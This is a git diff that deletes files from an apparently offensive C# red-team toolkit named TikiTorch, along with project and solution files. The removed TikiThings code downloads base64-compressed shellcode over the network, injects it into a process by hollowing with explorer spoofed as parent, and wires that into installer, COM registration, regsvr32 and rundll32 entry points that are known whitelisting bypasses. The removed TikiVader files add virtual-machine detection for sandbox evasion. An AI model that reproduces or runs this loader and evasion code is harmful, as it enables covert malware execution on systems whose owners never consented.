</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:schema>
|
||||
@@ -1,139 +0,0 @@
|
||||
using System;
|
||||
using System.Net;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
using System.EnterpriseServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
using RGiesecke.DllExport;
|
||||
using TikiLoader;
|
||||
|
||||
[assembly: ApplicationActivation(ActivationOption.Server)]
|
||||
[assembly: ApplicationAccessControl(false)]
|
||||
|
||||
public class TikiThings
|
||||
{
|
||||
private static byte[] GetShellcode(string url)
|
||||
{
|
||||
WebClient client = new WebClient();
|
||||
client.Proxy = WebRequest.GetSystemWebProxy();
|
||||
client.Proxy.Credentials = CredentialCache.DefaultCredentials;
|
||||
string compressedEncodedShellcode = client.DownloadString(url);
|
||||
return Generic.DecompressShellcode(Convert.FromBase64String(compressedEncodedShellcode));
|
||||
}
|
||||
|
||||
private static int FindProcessPid(string process)
|
||||
{
|
||||
int pid = 0;
|
||||
|
||||
int session = Process.GetCurrentProcess().SessionId;
|
||||
|
||||
Process[] processes = Process.GetProcessesByName(process);
|
||||
|
||||
foreach (Process proc in processes)
|
||||
{
|
||||
if (proc.SessionId == session)
|
||||
{
|
||||
pid = proc.Id;
|
||||
}
|
||||
}
|
||||
|
||||
return pid;
|
||||
}
|
||||
|
||||
public static void Flame()
|
||||
{
|
||||
string binary = @"";
|
||||
string url = @"";
|
||||
|
||||
byte[] shellcode = GetShellcode(url);
|
||||
int ppid = FindProcessPid("explorer");
|
||||
|
||||
if (ppid != 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
var hollower = new Hollower();
|
||||
hollower.Hollow(binary, shellcode, ppid);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Console.WriteLine(" [x] {0}", e.Message);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Environment.Exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
public static void ExecParam(string a)
|
||||
{
|
||||
MessageBox.Show(a);
|
||||
Flame();
|
||||
}
|
||||
}
|
||||
|
||||
[System.ComponentModel.RunInstaller(true)]
|
||||
public class TikiThing : System.Configuration.Install.Installer
|
||||
{
|
||||
public override void Uninstall(System.Collections.IDictionary savedState)
|
||||
{
|
||||
TikiThings.Flame();
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(true)]
|
||||
[Guid("31D2B969-7608-426E-9D8E-A09FC9A51680")]
|
||||
[ClassInterface(ClassInterfaceType.None)]
|
||||
[ProgId("dllguest.Bypass")]
|
||||
[Transaction(TransactionOption.Required)]
|
||||
public class Bypass : ServicedComponent
|
||||
{
|
||||
public Bypass() { Console.WriteLine("TikiTorch!"); }
|
||||
|
||||
[ComRegisterFunction]
|
||||
public static void RegisterClass(string key)
|
||||
{
|
||||
TikiThings.Flame();
|
||||
}
|
||||
|
||||
[ComUnregisterFunction]
|
||||
public static void UnRegisterClass(string key)
|
||||
{
|
||||
TikiThings.Flame();
|
||||
}
|
||||
|
||||
public void Exec() { TikiThings.Flame(); }
|
||||
}
|
||||
|
||||
class Exports
|
||||
{
|
||||
|
||||
[DllExport("EntryPoint", CallingConvention = CallingConvention.StdCall)]
|
||||
public static void EntryPoint(IntPtr hwnd, IntPtr hinst, string lpszCmdLine, int nCmdShow)
|
||||
{
|
||||
TikiThings.Flame();
|
||||
}
|
||||
|
||||
[DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)]
|
||||
public static bool DllRegisterServer()
|
||||
{
|
||||
TikiThings.Flame();
|
||||
return true;
|
||||
}
|
||||
|
||||
[DllExport("DllUnregisterServer", CallingConvention = CallingConvention.StdCall)]
|
||||
public static bool DllUnregisterServer()
|
||||
{
|
||||
TikiThings.Flame();
|
||||
return true;
|
||||
}
|
||||
|
||||
[DllExport("DllInstall", CallingConvention = CallingConvention.StdCall)]
|
||||
public static void DllInstall(bool bInstall, IntPtr a)
|
||||
{
|
||||
string b = Marshal.PtrToStringUni(a);
|
||||
TikiThings.ExecParam(b);
|
||||
}
|
||||
}
|
||||
@@ -1,36 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("TikiDLL")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("TikiDLL")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2019")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("06c247da-e2e1-47f3-bc3c-da0838a6df1f")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
@@ -1,81 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props" Condition="Exists('..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props')" />
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}</ProjectGuid>
|
||||
<OutputType>Library</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>TikiThings</RootNamespace>
|
||||
<AssemblyName>TikiThings</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
<NuGetPackageImportStamp>
|
||||
</NuGetPackageImportStamp>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>
|
||||
</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<PlatformTarget>x64</PlatformTarget>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Costura, Version=3.3.3.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="RGiesecke.DllExport.Metadata, Version=1.0.0.0, Culture=neutral, PublicKeyToken=8f52d83c1a22df51, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\UnmanagedExports.1.2.7\lib\net\RGiesecke.DllExport.Metadata.dll</HintPath>
|
||||
<Private>False</Private>
|
||||
</Reference>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Configuration.Install" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.EnterpriseServices" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Net.Http" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="packages.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\TikiLoader\TikiLoader.csproj">
|
||||
<Project>{806c6c72-4adc-43d9-b028-6872fa48d334}</Project>
|
||||
<Name>TikiLoader</Name>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<Import Project="../packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.targets" Condition="Exists('../packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.targets')" />
|
||||
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||
<PropertyGroup>
|
||||
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
|
||||
</PropertyGroup>
|
||||
<Error Condition="!Exists('..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props'))" />
|
||||
<Error Condition="!Exists('..\packages\Fody.4.2.1\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Fody.4.2.1\build\Fody.targets'))" />
|
||||
</Target>
|
||||
<Import Project="..\packages\Fody.4.2.1\build\Fody.targets" Condition="Exists('..\packages\Fody.4.2.1\build\Fody.targets')" />
|
||||
</Project>
|
||||
@@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="Costura.Fody" version="3.3.3" targetFramework="net45" />
|
||||
<package id="Fody" version="4.2.1" targetFramework="net45" developmentDependency="true" />
|
||||
<package id="UnmanagedExports" version="1.2.7" targetFramework="net45" />
|
||||
</packages>
|
||||
+13
-97
@@ -3,21 +3,9 @@ Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.29001.49
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiSpawnAs", "TikiSpawnAs\TikiSpawnAs.csproj", "{97421325-B6D8-49E5-ADF0-E2126ABC17EE}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiSpawnElevated", "TikiSpawnElevated\TikiSpawnElevated.csproj", "{1F707405-9708-4A34-A809-2C62B84D4F0A}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiSpawn", "TikiSpawn\TikiSpawn.csproj", "{2EF9D8F7-6B77-4B75-822B-6A53A922C30F}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiLoader", "TikiLoader\TikiLoader.csproj", "{806C6C72-4ADC-43D9-B028-6872FA48D334}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiCpl", "TikiCpl\TikiCpl.csproj", "{40C4388B-769D-4170-8DB1-C659AE8F45C9}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiThings", "TikiThings\TikiThings.csproj", "{06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiVader", "TikiVader\TikiVader.csproj", "{8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiService", "TikiService\TikiService.csproj", "{FC700AC6-5182-421F-8853-0AD18CDBEB39}"
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiSpawn", "TikiSpawn\TikiSpawn.csproj", "{50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
@@ -29,42 +17,6 @@ Global
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
{97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|x64.Build.0 = Debug|Any CPU
|
||||
{97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|x64.Build.0 = Release|Any CPU
|
||||
{97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|x86.Build.0 = Release|Any CPU
|
||||
{1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
{1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|x64.Build.0 = Debug|Any CPU
|
||||
{1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|x64.Build.0 = Release|Any CPU
|
||||
{1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|x86.Build.0 = Release|Any CPU
|
||||
{2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
{2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|x64.Build.0 = Debug|Any CPU
|
||||
{2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|x64.Build.0 = Release|Any CPU
|
||||
{2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|x86.Build.0 = Release|Any CPU
|
||||
{806C6C72-4ADC-43D9-B028-6872FA48D334}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{806C6C72-4ADC-43D9-B028-6872FA48D334}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{806C6C72-4ADC-43D9-B028-6872FA48D334}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
@@ -77,54 +29,18 @@ Global
|
||||
{806C6C72-4ADC-43D9-B028-6872FA48D334}.Release|x64.Build.0 = Release|Any CPU
|
||||
{806C6C72-4ADC-43D9-B028-6872FA48D334}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{806C6C72-4ADC-43D9-B028-6872FA48D334}.Release|x86.Build.0 = Release|Any CPU
|
||||
{40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
{40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|x64.Build.0 = Debug|Any CPU
|
||||
{40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|x64.Build.0 = Release|Any CPU
|
||||
{40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|x86.Build.0 = Release|Any CPU
|
||||
{06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
{06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|x64.Build.0 = Debug|Any CPU
|
||||
{06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|x64.Build.0 = Release|Any CPU
|
||||
{06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|x86.Build.0 = Release|Any CPU
|
||||
{8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
{8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|x64.Build.0 = Debug|Any CPU
|
||||
{8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|x64.Build.0 = Release|Any CPU
|
||||
{8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|x86.Build.0 = Release|Any CPU
|
||||
{FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
{FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|x64.Build.0 = Debug|Any CPU
|
||||
{FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|x64.Build.0 = Release|Any CPU
|
||||
{FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|x86.Build.0 = Release|Any CPU
|
||||
{50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
{50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|x64.Build.0 = Debug|Any CPU
|
||||
{50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|x64.Build.0 = Release|Any CPU
|
||||
{50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|x86.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
|
||||
@@ -1,13 +0,0 @@
|
||||
using System.DirectoryServices.ActiveDirectory;
|
||||
|
||||
namespace TikiVader
|
||||
{
|
||||
public class ActiveDirectory
|
||||
{
|
||||
public static string GetComputerDomainName()
|
||||
{
|
||||
Domain current = Domain.GetComputerDomain();
|
||||
return current.Name;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,37 +0,0 @@
|
||||
using System;
|
||||
using System.Management;
|
||||
|
||||
namespace TikiVader
|
||||
{
|
||||
public class Host
|
||||
{
|
||||
public static string GetMachineName()
|
||||
{
|
||||
return Environment.MachineName;
|
||||
}
|
||||
|
||||
public static bool IsVirtualMachine()
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
|
||||
{
|
||||
using (var items = searcher.Get())
|
||||
{
|
||||
foreach (var item in items)
|
||||
{
|
||||
string manufacturer = item["Manufacturer"].ToString().ToLower();
|
||||
|
||||
if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL"))
|
||||
|| manufacturer.Contains("vmware")
|
||||
|| manufacturer.Contains("xen")
|
||||
|| item["Model"].ToString() == "VirtualBox")
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,14 +0,0 @@
|
||||
using System.Linq;
|
||||
using System.Net.NetworkInformation;
|
||||
|
||||
namespace TikiVader
|
||||
{
|
||||
public class Network
|
||||
{
|
||||
public static string GetMACAddress()
|
||||
{
|
||||
NetworkInterface nic = NetworkInterface.GetAllNetworkInterfaces().First();
|
||||
return nic.GetPhysicalAddress().ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,36 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("TikiVader")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("TikiVader")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2019")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("8f5f3a95-f05c-4dce-8bc3-d0a0d4153db6")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
@@ -1,52 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}</ProjectGuid>
|
||||
